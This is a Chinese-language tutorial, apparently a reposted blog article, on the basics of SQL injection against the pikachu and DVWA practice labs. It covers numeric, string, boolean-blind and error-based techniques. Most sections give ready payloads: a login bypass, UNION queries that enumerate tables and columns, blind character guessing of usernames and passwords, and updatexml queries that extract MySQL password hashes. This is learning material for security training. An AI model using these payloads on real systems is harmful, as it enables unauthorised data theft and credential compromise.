01 SQl注入基础步骤(数字、字符、布尔盲注、报错)

目录

1、SQL注入漏洞的概要

2、SQL注入的常规思路

3、数字型注入

4、字符型注入

5、布尔盲注

6、报错注入


1、SQL注入漏洞的概要

原理:通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。

危害

  1. 窃取敏感数据(用户信息、密码等)
  2. 篡改或删除数据库内容
  3. 提权攻击(获取服务器权限)

示例-用户登录场景中,输入 admin' -- 绕过密码验证:

SELECT * FROM users WHERE username='admin' -- ' AND password='...'

2、SQL注入的常规思路

  1. 寻找注入点,可以借助web扫描工具实现。

  2. 通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

  3. 猜解关键数据库表及其重要字段(获取数据库root账号、密码)

  4. 通过获取的用户信息,寻找后台登录

  5. 利用后台了解进一步的信息

3、数字型注入

特征:参数为整数类型,无需引号闭合。
注入原理:直接拼接用户输入到SQL语句的数值位置。

测试靶场为pikachu数字型SQL注入漏洞

网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:

  1. 寻找注入点,查看是否有回显信息。
    3 and 1=1 
    
    3 order by 1
    null union select 1,2

  2. 利用准备好的SQL语句进行注入

    null union select(select version()),(select database())
    null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
    null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null

 

4、字符型注入

特征:参数为字符串类型,需用单引号闭合。
注入原理:闭合原始引号并插入恶意代码,注释掉后续内容。
测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看是否有回显信息。
    1' and 1=1#
    
    1' order by 1#
    null' union select null,null#

  2. 利用准备好的SQL语句进行注入

    null' union select(select version()),(select database())#
    null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
    null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#

5、布尔盲注

适用场景:页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。
原理:通过构造布尔条件(TRUE/FALSE),观察页面响应差异,逐字符猜测数据。

测试的靶场为DVWA,以下为详细步骤:

  1. 根据页面的不同状态,查看是否有注入点
    1' and 1=1#
    
    1' and 1=2#

  2. SQL语句准备
     

    1' and if (length(database())>4,1,0)# 
    1' and if (substring(database(),2,1)='v',1,0)#
    1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
    1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
    1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
  3. 利用BurpSuite工具,进行猜解名字



6、报错注入

适用场景:页面显示数据库错误信息(如MySQL错误日志)。
原理:利用数据库函数故意触发错误,将查询结果回显到报错信息中。

常见报错函数updatexml()extractvalue()exp()

SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)

测试的靶场为DVWA,以下为详细步骤:

  1.  寻找注入点,查看页面是否报错。
    1'
    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  2. 利用准备好的SQL语句进行注入
     

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string)  from mysql.user limit 1),0x7e),1)# 
    1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string)  from mysql.user limit 1),32,40)),0x7e),1)#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/71862.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetcode-sql数据库面试题冲刺(高频SQL五十题)

题目: 620.有趣的电影 表:cinema ------------------------ | Column Name | Type | ------------------------ | id | int | | movie | varchar | | description | varchar | | rating | float | ------------------------ id 是该表的主键(具有唯一值…

7.2 奇异值分解的基与矩阵

一、奇异值分解 奇异值分解(SVD)是线性代数的高光时刻。 A A A 是一个 m n m\times n mn 的矩阵,可以是方阵或者长方形矩阵,秩为 r r r。我们要对角化 A A A,但并不是把它化成 X − 1 A X X^{-1}A X X−1AX 的形…

在本地部署DeepSeek等大模型时,需警惕的潜在安全风险

在本地部署DeepSeek等大模型时,尽管数据存储在本地环境(而非云端),但仍需警惕以下潜在安全风险: 1. 模型与数据存储风险 未加密的存储介质:若训练数据、模型权重或日志以明文形式存储,可能被物…

【javaEE】多线程(进阶)

1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…

dify中使用NL2SQL

在 Dify 工作流中融入 NL2SQL(自然语言转 SQL)之能力,可依循如下步骤达成,借由 Dify 的模块化设计以及模型编排之功能,优化数据库查询之智能化交互: 一、环境准备与 Dify 部署 安装 Docker 与 Dify 务须确…

使用Everything搜索指定文件夹中的内容

直接路径搜索法 在 Everything 的搜索框中输入文件夹路径加空格,再输入要搜索的内容或文件名。如要在 D 盘的 “文档” 文件夹中搜索名为 “报告.docx” 的文件,可输入 “D:\ 文档 报告.docx”235。 高级搜索法 打开 Everything 软件,点击菜…

Java在小米SU7 Ultra汽车中的技术赋能

目录 一、智能驾驶“大脑”与实时数据 场景一:海量数据的分布式计算 场景二:实时决策的毫秒级响应 场景三:弹性扩展与容错机制 技术隐喻: 二、车载信息系统(IVI)的交互 场景一:Android Automo…

Vue开发中计算属性与方法调用之间的区别与联系

文章目录 一 概述二 核心区别三 联系四 使用原则 一 概述 在 Vue 中,计算属性(computed) 和 方法(methods) 都可以用于处理数据逻辑,但它们的核心区别在于 缓存机制 和 触发方式 。 计算属性示例&#xf…

【Unity】 HTFramework框架(六十一)Project窗口文件夹锁定器

更新日期:2025年3月7日。 Github源码:[点我获取源码] Gitee源码:[点我获取源码] 索引 Project窗口文件夹锁定器框架文件夹锁定自定义文件夹锁定限制条件 Project窗口文件夹锁定器 在Project窗口中,文件夹锁定器能够为任何文件夹加…

C语言:6.20字符型数据练习题

编写程序,输人一行数字字符(用回车结束),每个数字字符 的前后都有空格。 把这一行中的数字转换成一个整数。 例如,若输入(<CR>代表 Enter键):2 4 8 3<CR>则输出 整数:2483。 #include <stdio.h>int main() {char ch;int number 0;printf("请输入一行…

【软件工程】一篇入门UML建模图(状态图、活动图、构件图、部署图)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;软件开发必练内功_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 1. 前…

【C语言】数组篇

目录 引言一维数组数组的定义数组的初始化完全初始化部分初始化省略数组长度 数组元素的访问 多维数组二维数组的定义二维数组的初始化完全初始化部分初始化省略第一维长度 二维数组元素的访问 遍历数组元素遍历一维数组遍历二维数组 数组作为函数参数一维数组作为函数参数二维…

OpenCV视频解码性能优化十连击(实测帧率提升300%)

解密工业级视频处理优化方案&#xff01;从硬件加速到多线程榨干CPU/GPU性能&#xff0c;附RTSP流调优参数与内存泄漏排查技巧。 &#x1f527; 优化前准备 环境检测脚本 import cv2# 验证硬件加速支持 print("CUDA支持:", cv2.cuda.getCudaEnabledDeviceCount() &…

基于编译器特性浅析C++程序性能优化

最近在恶补计算机基础知识&#xff0c;学到CSAPP第五章的内容&#xff0c;在这里总结并且展开一下C程序性能优化相关的内容。 衡量程序性能的方式 一般而言&#xff0c;程序的性能可以用CPE&#xff08;Cycles Per Element&#xff09;来衡量&#xff0c;其指的是处理每个元素…

transformer模型介绍——大语言模型 LLMBook 学习(二)

1. transformer模型 1.1 注意力机制 **注意力机制&#xff08;Attention Mechanism&#xff09;**在人工智能中的应用&#xff0c;实际上是对人类认知系统中的注意力机制的一种模拟。它主要模仿了人类在处理信息时的选择性注意&#xff08;Selective Attention&#xff09;&a…

word甲烷一键下标

Sub 甲烷下标()甲烷下标 宏Selection.Find.ClearFormattingSelection.Find.Replacement.ClearFormattingWith Selection.Find.Text "CH4".Replacement.Text "CHguoshao4".Forward True.Wrap wdFindContinue.Format False.MatchCase False.MatchWhole…

Dify 本地部署教程

目录 一、下载安装包 二、修改配置 三、启动容器 四、访问 Dify 五、总结 本篇文章主要记录 Dify 本地部署过程,有问题欢迎交流~ 一、下载安装包 从 Github 仓库下载最新稳定版软件包,点击下载~,当然也可以克隆仓库或者从仓库里直接下载zip源码包。 目前最新版本是V…

2.1 掌握XML基础知识

本文介绍了结构化、半结构化和非结构化数据的概念与特点。结构化数据以固定格式存储于数据库&#xff0c;便于查询与管理&#xff0c;常用于金融等领域。半结构化数据如XML、JSON&#xff0c;具有一定的组织形式但模式不固定&#xff0c;适用于Web内容和日志文件。非结构化数据…

Android Studio 配置国内镜像源

Android Studio版本号&#xff1a;2022.1.1 Patch 2 1、配置gradle国内镜像&#xff0c;用腾讯云 镜像源地址&#xff1a;https\://mirrors.cloud.tencent.com/gradle 2、配置Android SDK国内镜像 地址&#xff1a;Index of /AndroidSDK/

超过 37000 台 VMwareESXi 服务器可能受到持续攻击威胁

近日&#xff0c;威胁监测平台影子服务器基金会&#xff08;The Shadowserver Foundation&#xff09;发布报告&#xff0c;指出超 3.7 万个互联网暴露的威睿&#xff08;VMware&#xff09;ESXi 实例存在严重安全隐患&#xff0c;极易受到 CVE-2025-22224 漏洞的攻击。该漏洞属…